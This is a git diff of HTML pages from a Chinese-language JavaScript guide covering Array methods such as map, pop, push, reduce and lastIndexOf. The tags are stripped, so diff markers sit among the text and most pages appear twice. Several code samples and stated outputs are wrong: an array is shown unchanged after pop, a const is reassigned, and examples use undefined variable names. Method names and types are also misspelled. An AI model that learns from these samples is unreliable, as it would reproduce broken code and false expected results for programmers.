                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            arr.lastIndexOd( searchElement [, fromIndex ] )

                                                                                                                            类型声明:

                                                                                                                            interface Array<T> {
                                                                                                                            lastIndexOf(searchElement: T, fromIndex?: number): number;
                                                                                                                            }

                                                                                                                            参考资料:

                                                                                                                            参数说明类型
                                                                                                                            searchElement需要查找的数组元素any
                                                                                                                            fromIndex在当前数组中查找的起始索引,默认为 arr.lengt - 1numer

                                                                                                                            返回值:

                                                                                                                            返回值为 Number 类型,返回数组元素在当前数组中最后一次查找到的起始位置(索引)。

                                                                                                                            代码示例

                                                                                                                            基本用法

                                                                                                                            const arr = [2, 5, 9, 2];
                                                                                                                            const index = arr.lastIndexOf(2);
                                                                                                                            // 3
                                                                                                                            index = arr.lastIndexOf(7);
                                                                                                                            // -1
                                                                                                                            index = arr.lastIndexOf(2, 3);
                                                                                                                            // 3
                                                                                                                            @@ -36,12 +39,12 @@
                                                                                                                            index = arr.lastIndexOf(2, -2);
                                                                                                                            // 0
                                                                                                                            index = arr.lastIndexOf(2, -1);
                                                                                                                            // 3

                                                                                                                            查找所有元素

                                                                                                                            下例使用 lastIndexOf 查找到一个成员在数组中所有的索引(下标),并使用 push 将所有添加到另一个数组中。

                                                                                                                            var indices = [];
                                                                                                                            var arr = ['a', 'b', 'a', 'c', 'a', 'd'];
                                                                                                                            var element = 'a';
                                                                                                                            var idx = arr.lastIndexOf(element);
                                                                                                                            while (idx != -1) {
                                                                                                                            indices.push(idx);
                                                                                                                            idx = idx > 0 ? arr.lastIndexOf(element, idx - 1) : -1;
                                                                                                                            }
                                                                                                                            -
                                                                                                                            console.log(indices); // Outputs: [4, 2, 0];

                                                                                                                            注意:我们要单独处理 idx == 0 时的情况,因为如果是第一个元素,忽略了fromIndex 参数则第一个元素总会被查找。这不同于 indexOf 方法。

                                                                                                                            参考资料

                                                                                                                            +
                                                                                                                            console.log(indices); // Outputs: [4, 2, 0];

                                                                                                                            注意:我们要单独处理 idx == 0 时的情况,因为如果是第一个元素,忽略了fromIndex 参数则第一个元素总会被查找。这不同于 indexOf 方法。

                                                                                                                            参考资料

                                                                                                                            - + diff --git a/standard-built-in-objects/indexed-collections/array/map/index.html b/standard-built-in-objects/indexed-collections/array/map/index.html index d754008f9..83e919b13 100644 --- a/standard-built-in-objects/indexed-collections/array/map/index.html +++ b/standard-built-in-objects/indexed-collections/array/map/index.html @@ -7,39 +7,42 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Array.prototype.map - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.prototype.map()

                                                                                                                            Array.prototype.map() 根据传递的转换函数,更新给定数组中的每个值,并返回一个相同长度的新数组。它接受一个回调函数作为参数,用以执行转换过程。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            const new_arr = old_arr.map(callback = function(currentValue, index, array){} [, thisArg])

                                                                                                                            类型声明:

                                                                                                                            interface Array<T> {
                                                                                                                            map<U>(callbackfn: (value: T, index: number, array: T[]) => U, thisArg?: any): U[];
                                                                                                                            }

                                                                                                                            参数说明:

                                                                                                                            参数说明类型
                                                                                                                            callbackFunc用于遍历数组成员时执行的回调函数function
                                                                                                                            thisArg执行回调函数的 this

                                                                                                                            callback 函数的参数:

                                                                                                                            • currentValue:当前数组中处理的元素
                                                                                                                            • index:数组中正处理的当前元素的索引
                                                                                                                            • array:被调用的数组

                                                                                                                            返回值:

                                                                                                                            返回回调函数的结果,如果未设定返回值,则返回当前遍历的数组成员。

                                                                                                                            方法说明

                                                                                                                            • 该方法按升序为数组中含有效值的每一项执行一次回调函数,那些已删除(使用 delete 方法等情况)或者未初始化的项将被跳过(但不包括那些值为 undefined 的项,例如在稀疏数组中)。
                                                                                                                            • 使用 map 方法处理数组时,数组元素的范围是在 callback 方法第一次调用之前就已经确定了。在 map 方法执行的过程中:原数组中新增加的元素将不会被 callback 访问到;若已经存在的元素被改变或删除了,则它们的传递到 callback 的值是 map 方法遍历到它们的那一时刻的值;而被删除的元素将不会被访问到。

                                                                                                                            代码示例

                                                                                                                            下面的代码创建了一个新数组,值为原数组中对应数字的平方根。

                                                                                                                            const numbers = [1, 4, 9];
                                                                                                                            const roots = numbers.map(Math.sqrt);
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.prototype.map()

                                                                                                                            Array.prototype.map() 根据传递的转换函数,更新给定数组中的每个值,并返回一个相同长度的新数组。它接受一个回调函数作为参数,用以执行转换过程。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            const new_arr = old_arr.map(callback = function(currentValue, index, array){} [, thisArg])

                                                                                                                            类型声明:

                                                                                                                            interface Array<T> {
                                                                                                                            map<U>(callbackfn: (value: T, index: number, array: T[]) => U, thisArg?: any): U[];
                                                                                                                            }

                                                                                                                            参数说明:

                                                                                                                            参数说明类型
                                                                                                                            callbackFunc用于遍历数组成员时执行的回调函数function
                                                                                                                            thisArg执行回调函数的 this

                                                                                                                            callback 函数的参数:

                                                                                                                            • currentValue:当前数组中处理的元素
                                                                                                                            • index:数组中正处理的当前元素的索引
                                                                                                                            • array:被调用的数组

                                                                                                                            返回值:

                                                                                                                            返回回调函数的结果,如果未设定返回值,则返回当前遍历的数组成员。

                                                                                                                            方法说明

                                                                                                                            • 该方法按升序为数组中含有效值的每一项执行一次回调函数,那些已删除(使用 delete 方法等情况)或者未初始化的项将被跳过(但不包括那些值为 undefined 的项,例如在稀疏数组中)。
                                                                                                                            • 使用 map 方法处理数组时,数组元素的范围是在 callback 方法第一次调用之前就已经确定了。在 map 方法执行的过程中:原数组中新增加的元素将不会被 callback 访问到;若已经存在的元素被改变或删除了,则它们的传递到 callback 的值是 map 方法遍历到它们的那一时刻的值;而被删除的元素将不会被访问到。

                                                                                                                            代码示例

                                                                                                                            下面的代码创建了一个新数组,值为原数组中对应数字的平方根。

                                                                                                                            const numbers = [1, 4, 9];
                                                                                                                            const roots = numbers.map(Math.sqrt);
                                                                                                                            // Math.sqrt(x)
                                                                                                                            console.log(numbers);
                                                                                                                            // [1, 4, 9]
                                                                                                                            console.log(roots);
                                                                                                                            // [1, 2, 3],

                                                                                                                            格式化对象数组

                                                                                                                            以下代码将一个包含对象的数组用以创建一个包含新重新格式化对象的新数组。

                                                                                                                            const kvArray = [
                                                                                                                            {
                                                                                                                            key: 1,
                                                                                                                            value: 10,
                                                                                                                            },
                                                                                                                            {
                                                                                                                            key: 2,
                                                                                                                            value: 20,
                                                                                                                            },
                                                                                                                            {
                                                                                                                            key: 3,
                                                                                                                            value: 30,
                                                                                                                            },
                                                                                                                            ];
                                                                                                                            const reformattedArray = kvArray.map(function (obj) {
                                                                                                                            let rObj = {};
                                                                                                                            rObj[obj.key] = obj.value;
                                                                                                                            return rObj;
                                                                                                                            });
                                                                                                                            // reformattedArray 数组为: [{1: 10}, {2: 20}, {3: 30}],
                                                                                                                            // kvArray 数组未被修改:
                                                                                                                            // [{key: 1, value: 10},
                                                                                                                            // {key: 2, value: 20},
                                                                                                                            // {key: 3, value: 30}]

                                                                                                                            回调函数参数

                                                                                                                            经典面试题。

                                                                                                                            const answer = ['1', '2', '3'].map(parseInt);
                                                                                                                            -
                                                                                                                            console.log(answer);
                                                                                                                            // [1, NaN, NaN]

                                                                                                                            参考资料

                                                                                                                            +
                                                                                                                            console.log(answer);
                                                                                                                            // [1, NaN, NaN]

                                                                                                                            参考资料

                                                                                                                            - + diff --git a/standard-built-in-objects/indexed-collections/array/of/index.html b/standard-built-in-objects/indexed-collections/array/of/index.html index b1ef9bf11..e6fde97f2 100644 --- a/standard-built-in-objects/indexed-collections/array/of/index.html +++ b/standard-built-in-objects/indexed-collections/array/of/index.html @@ -7,34 +7,37 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Array.of - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.of()

                                                                                                                            Array.of() 方法创建一个具有可变数量参数的新数组实例,而不考虑参数的数量或类型。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            Array.of( ele0[, ele1[, ...[, eleN ] ] ] )

                                                                                                                            类型声明:

                                                                                                                            interface ArrayConstructor {
                                                                                                                            of<T>(...items: T[]): T[];
                                                                                                                            }

                                                                                                                            参数说明:

                                                                                                                            参数说明类型
                                                                                                                            elementN任意个参数,将按 顺序 成为返回数组中的元素。any

                                                                                                                            返回值:

                                                                                                                            新的 Array 实例。

                                                                                                                            方法说明

                                                                                                                            Array.of()Array 构造函数之间的区别在于处理整数参数。

                                                                                                                            • Array.of(7) 创建一个具有单个元素 7 的数组
                                                                                                                            • Array(7) 创建一个包含 7 个 undefined 元素的数组。
                                                                                                                            Array.of(7); // [7]
                                                                                                                            Array.of(1, 2, 3); // [1, 2, 3]
                                                                                                                            -
                                                                                                                            Array(7); // [ , , , , , , ]
                                                                                                                            Array(1, 2, 3); // [1, 2, 3]

                                                                                                                            代码示例

                                                                                                                            Array.of(1); // [1]
                                                                                                                            Array.of(1, 2, 3); // [1, 2, 3]
                                                                                                                            Array.of(undefined); // [undefined]

                                                                                                                            参考资料

                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.of()

                                                                                                                            Array.of() 方法创建一个具有可变数量参数的新数组实例,而不考虑参数的数量或类型。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            Array.of( ele0[, ele1[, ...[, eleN ] ] ] )

                                                                                                                            类型声明:

                                                                                                                            interface ArrayConstructor {
                                                                                                                            of<T>(...items: T[]): T[];
                                                                                                                            }

                                                                                                                            参数说明:

                                                                                                                            参数说明类型
                                                                                                                            elementN任意个参数,将按 顺序 成为返回数组中的元素。any

                                                                                                                            返回值:

                                                                                                                            新的 Array 实例。

                                                                                                                            方法说明

                                                                                                                            Array.of()Array 构造函数之间的区别在于处理整数参数。

                                                                                                                            • Array.of(7) 创建一个具有单个元素 7 的数组
                                                                                                                            • Array(7) 创建一个包含 7 个 undefined 元素的数组。
                                                                                                                            Array.of(7); // [7]
                                                                                                                            Array.of(1, 2, 3); // [1, 2, 3]
                                                                                                                            +
                                                                                                                            Array(7); // [ , , , , , , ]
                                                                                                                            Array(1, 2, 3); // [1, 2, 3]

                                                                                                                            代码示例

                                                                                                                            Array.of(1); // [1]
                                                                                                                            Array.of(1, 2, 3); // [1, 2, 3]
                                                                                                                            Array.of(undefined); // [undefined]

                                                                                                                            参考资料

                                                                                                                            - + diff --git a/standard-built-in-objects/indexed-collections/array/pop/index.html b/standard-built-in-objects/indexed-collections/array/pop/index.html index 42091f795..74da99266 100644 --- a/standard-built-in-objects/indexed-collections/array/pop/index.html +++ b/standard-built-in-objects/indexed-collections/array/pop/index.html @@ -7,39 +7,42 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Array.prototype.pop - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.prototype.pop()

                                                                                                                            Array.prototype.pop() 方法用于移除数组最后一个成员,并返回该数组成员。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            arr.pop();

                                                                                                                            类型声明:

                                                                                                                            interface Array<T> {
                                                                                                                            pop(): T | undefined;
                                                                                                                            }

                                                                                                                            返回值:

                                                                                                                            返回被移除的数组成员。如果该数组为空(没有任何元素),则返回 undefined

                                                                                                                            方法说明

                                                                                                                            • 该方法和 call()apply() 一起使用时,可应用在类数组对象上。pop 方法根据 length 属性来确定最后一个元素的位置。如果不包含 length 属性或 length 属性不能被转成一个数值,会将 length 置为 0,并返回 undefined
                                                                                                                            • 由于该方法会移除数组中的最后一个元素,数组的 length 属性也会随之改变(如果数组中有元素的话),一般而言,数组的 length 属性将会减 1。
                                                                                                                            • 如果你在一个空数组上调用 pop(),它返回 undefined

                                                                                                                            代码示例

                                                                                                                            基本用法

                                                                                                                            let foo = ['a', 'b', 'c', 'd'];
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.prototype.pop()

                                                                                                                            Array.prototype.pop() 方法用于移除数组最后一个成员,并返回该数组成员。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            arr.pop();

                                                                                                                            类型声明:

                                                                                                                            interface Array<T> {
                                                                                                                            pop(): T | undefined;
                                                                                                                            }

                                                                                                                            返回值:

                                                                                                                            返回被移除的数组成员。如果该数组为空(没有任何元素),则返回 undefined

                                                                                                                            方法说明

                                                                                                                            • 该方法和 call()apply() 一起使用时,可应用在类数组对象上。pop 方法根据 length 属性来确定最后一个元素的位置。如果不包含 length 属性或 length 属性不能被转成一个数值,会将 length 置为 0,并返回 undefined
                                                                                                                            • 由于该方法会移除数组中的最后一个元素,数组的 length 属性也会随之改变(如果数组中有元素的话),一般而言,数组的 length 属性将会减 1。
                                                                                                                            • 如果你在一个空数组上调用 pop(),它返回 undefined

                                                                                                                            代码示例

                                                                                                                            基本用法

                                                                                                                            let foo = ['a', 'b', 'c', 'd'];
                                                                                                                            let popped = foo.pop();
                                                                                                                            console.log(foo);
                                                                                                                            // ['a', 'b', 'c', 'd']
                                                                                                                            console.log(popped);
                                                                                                                            // 'd'

                                                                                                                            在空数组中调用

                                                                                                                            let empty = [];
                                                                                                                            let popped = empty.pop();
                                                                                                                            console.log(popped);
                                                                                                                            // undefined
                                                                                                                            -
                                                                                                                            console.log(empty);
                                                                                                                            // []

                                                                                                                            参考资料

                                                                                                                            +
                                                                                                                            console.log(empty);
                                                                                                                            // []

                                                                                                                            参考资料

                                                                                                                            - + diff --git a/standard-built-in-objects/indexed-collections/array/push/index.html b/standard-built-in-objects/indexed-collections/array/push/index.html index fba6552c2..92ef256ba 100644 --- a/standard-built-in-objects/indexed-collections/array/push/index.html +++ b/standard-built-in-objects/indexed-collections/array/push/index.html @@ -7,37 +7,40 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Array.prototype.push - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.prototype.push()

                                                                                                                            Array.prototype.push() 方法用于向当前数组的末尾添加一个或多个元素,并返回新的数组长度。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            arr.push( item1 [, items...] )

                                                                                                                            类型声明:

                                                                                                                            interface Array<T> {
                                                                                                                            push(...items: T[]): number;
                                                                                                                            }

                                                                                                                            参数说明:

                                                                                                                            参数说明类型
                                                                                                                            item1添加元素any
                                                                                                                            itemN添加的其他元素any

                                                                                                                            如果添加的元素类型为数组类型,仍然会被当作一个元素看待,只是这个元素是数组类型而已。如果要合并两个数组,请使用 concat() 函数。

                                                                                                                            返回值:

                                                                                                                            返回添加元素后的数组长度。

                                                                                                                            方法说明

                                                                                                                            当向数组中添加新的元素时,数组的 length 属性也会随之改变。一般而言,数组的 length 属性将会加 NN 为添加的元素个数)。

                                                                                                                            push() 方法有意具有通用性。该方法和 call()apply() 一起使用时,可应用在类似数组的对象上。push() 方法根据 length 属性来决定从哪里开始插入给定的值。如果 length 不能被转成一个数值,则插入的元素索引为 0,包括 length 不存在时。当 length 不存在时,将会创建它。

                                                                                                                            代码示例

                                                                                                                            基本用法

                                                                                                                            const foo = ['a', 'b'];
                                                                                                                            const bar = foo.push('c', 'd');
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.prototype.push()

                                                                                                                            Array.prototype.push() 方法用于向当前数组的末尾添加一个或多个元素,并返回新的数组长度。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            arr.push( item1 [, items...] )

                                                                                                                            类型声明:

                                                                                                                            interface Array<T> {
                                                                                                                            push(...items: T[]): number;
                                                                                                                            }

                                                                                                                            参数说明:

                                                                                                                            参数说明类型
                                                                                                                            item1添加元素any
                                                                                                                            itemN添加的其他元素any

                                                                                                                            如果添加的元素类型为数组类型,仍然会被当作一个元素看待,只是这个元素是数组类型而已。如果要合并两个数组,请使用 concat() 函数。

                                                                                                                            返回值:

                                                                                                                            返回添加元素后的数组长度。

                                                                                                                            方法说明

                                                                                                                            当向数组中添加新的元素时,数组的 length 属性也会随之改变。一般而言,数组的 length 属性将会加 NN 为添加的元素个数)。

                                                                                                                            push() 方法有意具有通用性。该方法和 call()apply() 一起使用时,可应用在类似数组的对象上。push() 方法根据 length 属性来决定从哪里开始插入给定的值。如果 length 不能被转成一个数值,则插入的元素索引为 0,包括 length 不存在时。当 length 不存在时,将会创建它。

                                                                                                                            代码示例

                                                                                                                            基本用法

                                                                                                                            const foo = ['a', 'b'];
                                                                                                                            const bar = foo.push('c', 'd');
                                                                                                                            console.log(foo);
                                                                                                                            // ['a', 'b', 'c', 'd']
                                                                                                                            console.log(bar);
                                                                                                                            // 4

                                                                                                                            合并数组

                                                                                                                            该示例使用 apply() 添加第二个数组的所有元素。注意当第二个数组太大时不要使用这个方法来合并数组,因为事实上一个函数能够接受的参数个数是有限制的。

                                                                                                                            const foo = ['a', 'b'];
                                                                                                                            const bar = ['c', 'd'];
                                                                                                                            // 将二个数组融合进第一个数组
                                                                                                                            // 相当于 foo.push('c', 'd');
                                                                                                                            Array.prototype.push.apply(foo, bar);
                                                                                                                            -
                                                                                                                            console.log(foo);
                                                                                                                            // ['a', 'b', 'c', 'd']

                                                                                                                            参考资料

                                                                                                                            +
                                                                                                                            console.log(foo);
                                                                                                                            // ['a', 'b', 'c', 'd']

                                                                                                                            参考资料

                                                                                                                            - + diff --git a/standard-built-in-objects/indexed-collections/array/reduce-right/index.html b/standard-built-in-objects/indexed-collections/array/reduce-right/index.html index 2dabb1ea2..c5174187c 100644 --- a/standard-built-in-objects/indexed-collections/array/reduce-right/index.html +++ b/standard-built-in-objects/indexed-collections/array/reduce-right/index.html @@ -7,36 +7,39 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Array.prototype.reduceRight - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.prototype.reduceRight

                                                                                                                            Array.prototype.reduceRight() 方法接收一个函数作为累加器和数组的每个值(从右到左)将其减少为单个值。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            arr.reduceRight( callback [, initialValue])

                                                                                                                            类型声明:

                                                                                                                            interface Array<T> {
                                                                                                                            reduceRight(
                                                                                                                            callbackfn: (previousValue: T, currentValue: T, currentIndex: number, array: T[]) => T
                                                                                                                            ): T;
                                                                                                                            reduceRight(
                                                                                                                            callbackfn: (previousValue: T, currentValue: T, currentIndex: number, array: T[]) => T,
                                                                                                                            initialValue: T
                                                                                                                            ): T;
                                                                                                                            reduceRight<U>(
                                                                                                                            callbackfn: (previousValue: U, currentValue: T, currentIndex: number, array: T[]) => U,
                                                                                                                            initialValue: U
                                                                                                                            ): U;
                                                                                                                            }

                                                                                                                            参数说明:

                                                                                                                            参数说明类型
                                                                                                                            callback回调函数,用于遍历数组成员时执行function
                                                                                                                            initialValue(可选)累加器初始值,用作第一个调用回调函数的第一个参数的值。 如果没有提供初始值,则将使用数组中的第一个元素。 在没有初始值的空数组上调用将报错。any

                                                                                                                            callbackfn 函数的参数:

                                                                                                                            • previousValue:累加器累加回调的返回值,它是上一次调用回调时返回的累积值,或 initialValue
                                                                                                                            • currentValue:当前数组中处理的元素
                                                                                                                            • index:数组中正处理的当前元素的索引
                                                                                                                            • array:被调用的数组

                                                                                                                            返回值:

                                                                                                                            返回函数累计处理的结果。

                                                                                                                            代码示例

                                                                                                                            数组求和

                                                                                                                            const total = [0, 1, 2, 3].reduceRight(function (a, b) {
                                                                                                                            return a + b;
                                                                                                                            });
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.prototype.reduceRight

                                                                                                                            Array.prototype.reduceRight() 方法接收一个函数作为累加器和数组的每个值(从右到左)将其减少为单个值。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            arr.reduceRight( callback [, initialValue])

                                                                                                                            类型声明:

                                                                                                                            interface Array<T> {
                                                                                                                            reduceRight(
                                                                                                                            callbackfn: (previousValue: T, currentValue: T, currentIndex: number, array: T[]) => T
                                                                                                                            ): T;
                                                                                                                            reduceRight(
                                                                                                                            callbackfn: (previousValue: T, currentValue: T, currentIndex: number, array: T[]) => T,
                                                                                                                            initialValue: T
                                                                                                                            ): T;
                                                                                                                            reduceRight<U>(
                                                                                                                            callbackfn: (previousValue: U, currentValue: T, currentIndex: number, array: T[]) => U,
                                                                                                                            initialValue: U
                                                                                                                            ): U;
                                                                                                                            }

                                                                                                                            参数说明:

                                                                                                                            参数说明类型
                                                                                                                            callback回调函数,用于遍历数组成员时执行function
                                                                                                                            initialValue(可选)累加器初始值,用作第一个调用回调函数的第一个参数的值。 如果没有提供初始值,则将使用数组中的第一个元素。 在没有初始值的空数组上调用将报错。any

                                                                                                                            callbackfn 函数的参数:

                                                                                                                            • previousValue:累加器累加回调的返回值,它是上一次调用回调时返回的累积值,或 initialValue
                                                                                                                            • currentValue:当前数组中处理的元素
                                                                                                                            • index:数组中正处理的当前元素的索引
                                                                                                                            • array:被调用的数组

                                                                                                                            返回值:

                                                                                                                            返回函数累计处理的结果。

                                                                                                                            代码示例

                                                                                                                            数组求和

                                                                                                                            const total = [0, 1, 2, 3].reduceRight(function (a, b) {
                                                                                                                            return a + b;
                                                                                                                            });
                                                                                                                            console.log(total); // 6

                                                                                                                            二维数组扁平化

                                                                                                                            const flattened = [
                                                                                                                            [0, 1],
                                                                                                                            [2, 3],
                                                                                                                            [4, 5],
                                                                                                                            ].reduceRight(function (a, b) {
                                                                                                                            return a.concat(b);
                                                                                                                            }, []);
                                                                                                                            console.log(flattend); // [4, 5, 2, 3, 0, 1]

                                                                                                                            reduce 和 reduceRight 区别

                                                                                                                            const a = ['1', '2', '3', '4', '5'];
                                                                                                                            const left = a.reduce((prev, cur) => {
                                                                                                                            return prev + cur;
                                                                                                                            });
                                                                                                                            const right = a.reduceRight((prev, cur) => {
                                                                                                                            return prev + cur;
                                                                                                                            });
                                                                                                                            -
                                                                                                                            console.log(left);
                                                                                                                            // "12345"
                                                                                                                            console.log(right);
                                                                                                                            // "54321"

                                                                                                                            参考资料

                                                                                                                            +
                                                                                                                            console.log(left);
                                                                                                                            // "12345"
                                                                                                                            console.log(right);
                                                                                                                            // "54321"

                                                                                                                            参考资料

                                                                                                                            - + diff --git a/standard-built-in-objects/indexed-collections/array/reduce/index.html b/standard-built-in-objects/indexed-collections/array/reduce/index.html index 06a02fb65..25ed2d89a 100644 --- a/standard-built-in-objects/indexed-collections/array/reduce/index.html +++ b/standard-built-in-objects/indexed-collections/array/reduce/index.html @@ -7,30 +7,33 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Array.prototype.reduce - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.prototype.reduce

                                                                                                                            Array.prototype.reduce() 方法接收一个函数作为累加器,数组中的每个值(从左到右)开始缩减,最终计算为一个值。对空数组时不会执行回调函数。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            arr.reduce(callbackfn [, initialValue]);

                                                                                                                            类型声明

                                                                                                                            interface Array<T> {
                                                                                                                            reduce(
                                                                                                                            callbackfn: (previousValue: T, currentValue: T, currentIndex: number, array: readonly T[]) => T
                                                                                                                            ): T;
                                                                                                                            -
                                                                                                                            reduce(
                                                                                                                            callbackfn: (previousValue: T, currentValue: T, currentIndex: number, array: readonly T[]) => T,
                                                                                                                            initialValue: T
                                                                                                                            ): T;
                                                                                                                            -
                                                                                                                            reduce<U>(
                                                                                                                            callbackfn: (previousValue: U, currentValue: T, currentIndex: number, array: T[]) => U,
                                                                                                                            initialValue: U
                                                                                                                            ): U;
                                                                                                                            }

                                                                                                                            参数说明:

                                                                                                                            参数说明类型
                                                                                                                            callbackfn回调函数,用于遍历数组成员时执行function
                                                                                                                            initialValue(可选)累加器初始值,用作第一个调用回调函数的第一个参数的值。 如果没有提供初始值,则将使用数组中的第一个元素。 在没有初始值的空数组上调用将报错。any

                                                                                                                            callbackfn 函数的参数:

                                                                                                                            • previousValue:累加器累加回调的返回值,它是上一次调用回调时返回的累积值,或 initialValue
                                                                                                                            • currentValue:当前数组中处理的元素
                                                                                                                            • index:数组中正处理的当前元素的索引
                                                                                                                            • array:被调用的数组

                                                                                                                            返回值:

                                                                                                                            返回函数累计处理的结果。

                                                                                                                            方法说明

                                                                                                                            reduce() 方法为数组中的每一个元素依次执行 callback 回调函数,不包括数组中被删除或从未被赋值的元素。

                                                                                                                            回调函数第一次执行时,acccurrentValue 的取值有两种情况:

                                                                                                                            • 回调函数参数取值问题
                                                                                                                              • 提供 initialValue,累加器 acc 取值为 initialValuecurrentValue 取数组中的第一个值
                                                                                                                              • 没有提供 initialValue,累加器 acc 取数组中的第一个值作为初始值currentValue 取数组中的第二个值。
                                                                                                                            • 回调函数调用问题
                                                                                                                              • 如果提供 initialValue,从索引 0 开始执行回调函数。
                                                                                                                              • 如果没有提供 initialValuereduce 会从索引 1 的地方开始执行回调函数,跳过第一个索引。
                                                                                                                              • 如果数组为空且没有提供 initialValue,会抛出 TypeError
                                                                                                                              • 如果数组仅有一个元素(无论位置如何)并且没有提供 initialValue, 或者有提供 initialValue 但是数组为空,那么此唯一值将被返回并且 callback 不会被执行。

                                                                                                                            假如运行下段代码:

                                                                                                                            [0, 1, 2, 3, 4].reduce((acc, val, index, arr) => acc + val);

                                                                                                                            回调函数被调用四次,每次调用的参数和返回值如下表所示。

                                                                                                                            callback 回调函数acc 累加器val 当前值index 当前索引arr返回值
                                                                                                                            first call011[0, 1, 2, 3, 4]1
                                                                                                                            second call122[0, 1, 2, 3, 4]3
                                                                                                                            third call333[0, 1, 2, 3, 4]6
                                                                                                                            fourth call644[0, 1, 2, 3, 4]10

                                                                                                                            reduce() 方法最终的返回值为 10。

                                                                                                                            如果你打算提供一个初始值作为 reduce 方法的第二个参数,以下是运行过程及结果。

                                                                                                                            [0, 1, 2, 3, 4].reduce((acc, val, index, arr) => accumulator + currentValue, 10);
                                                                                                                            callback 回调函数acc 累加器val 当前值index 当前索引arr返回值
                                                                                                                            first call1000[0, 1, 2, 3, 4]10
                                                                                                                            second call1011[0, 1, 2, 3, 4]11
                                                                                                                            third call1122[0, 1, 2, 3, 4]13
                                                                                                                            fourth call1333[0, 1, 2, 3, 4]16
                                                                                                                            fifth call1644[0, 1, 2, 3, 4]20

                                                                                                                            reduce() 方法最终的返回值为 20。

                                                                                                                            代码示例

                                                                                                                            • 将数组转为对象
                                                                                                                            • 展开更大的数组
                                                                                                                            • 在一次遍历中进行两次计算
                                                                                                                            • 将映射和过滤函数组合
                                                                                                                            • 按顺序运行异步函数

                                                                                                                            聚合为数字

                                                                                                                            数组成员为数字类型时。

                                                                                                                            const res = [1, 2, 3, 4, 5].reduce((acc, item) => acc + item, 0);
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.prototype.reduce

                                                                                                                            Array.prototype.reduce() 方法接收一个函数作为累加器,数组中的每个值(从左到右)开始缩减,最终计算为一个值。对空数组时不会执行回调函数。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            arr.reduce(callbackfn [, initialValue]);

                                                                                                                            类型声明

                                                                                                                            interface Array<T> {
                                                                                                                            reduce(
                                                                                                                            callbackfn: (previousValue: T, currentValue: T, currentIndex: number, array: readonly T[]) => T
                                                                                                                            ): T;
                                                                                                                            +
                                                                                                                            reduce(
                                                                                                                            callbackfn: (previousValue: T, currentValue: T, currentIndex: number, array: readonly T[]) => T,
                                                                                                                            initialValue: T
                                                                                                                            ): T;
                                                                                                                            +
                                                                                                                            reduce<U>(
                                                                                                                            callbackfn: (previousValue: U, currentValue: T, currentIndex: number, array: T[]) => U,
                                                                                                                            initialValue: U
                                                                                                                            ): U;
                                                                                                                            }

                                                                                                                            参数说明:

                                                                                                                            参数说明类型
                                                                                                                            callbackfn回调函数,用于遍历数组成员时执行function
                                                                                                                            initialValue(可选)累加器初始值,用作第一个调用回调函数的第一个参数的值。 如果没有提供初始值,则将使用数组中的第一个元素。 在没有初始值的空数组上调用将报错。any

                                                                                                                            callbackfn 函数的参数:

                                                                                                                            • previousValue:累加器累加回调的返回值,它是上一次调用回调时返回的累积值,或 initialValue
                                                                                                                            • currentValue:当前数组中处理的元素
                                                                                                                            • index:数组中正处理的当前元素的索引
                                                                                                                            • array:被调用的数组

                                                                                                                            返回值:

                                                                                                                            返回函数累计处理的结果。

                                                                                                                            方法说明

                                                                                                                            reduce() 方法为数组中的每一个元素依次执行 callback 回调函数,不包括数组中被删除或从未被赋值的元素。

                                                                                                                            回调函数第一次执行时,acccurrentValue 的取值有两种情况:

                                                                                                                            • 回调函数参数取值问题
                                                                                                                              • 提供 initialValue,累加器 acc 取值为 initialValuecurrentValue 取数组中的第一个值
                                                                                                                              • 没有提供 initialValue,累加器 acc 取数组中的第一个值作为初始值currentValue 取数组中的第二个值。
                                                                                                                            • 回调函数调用问题
                                                                                                                              • 如果提供 initialValue,从索引 0 开始执行回调函数。
                                                                                                                              • 如果没有提供 initialValuereduce 会从索引 1 的地方开始执行回调函数,跳过第一个索引。
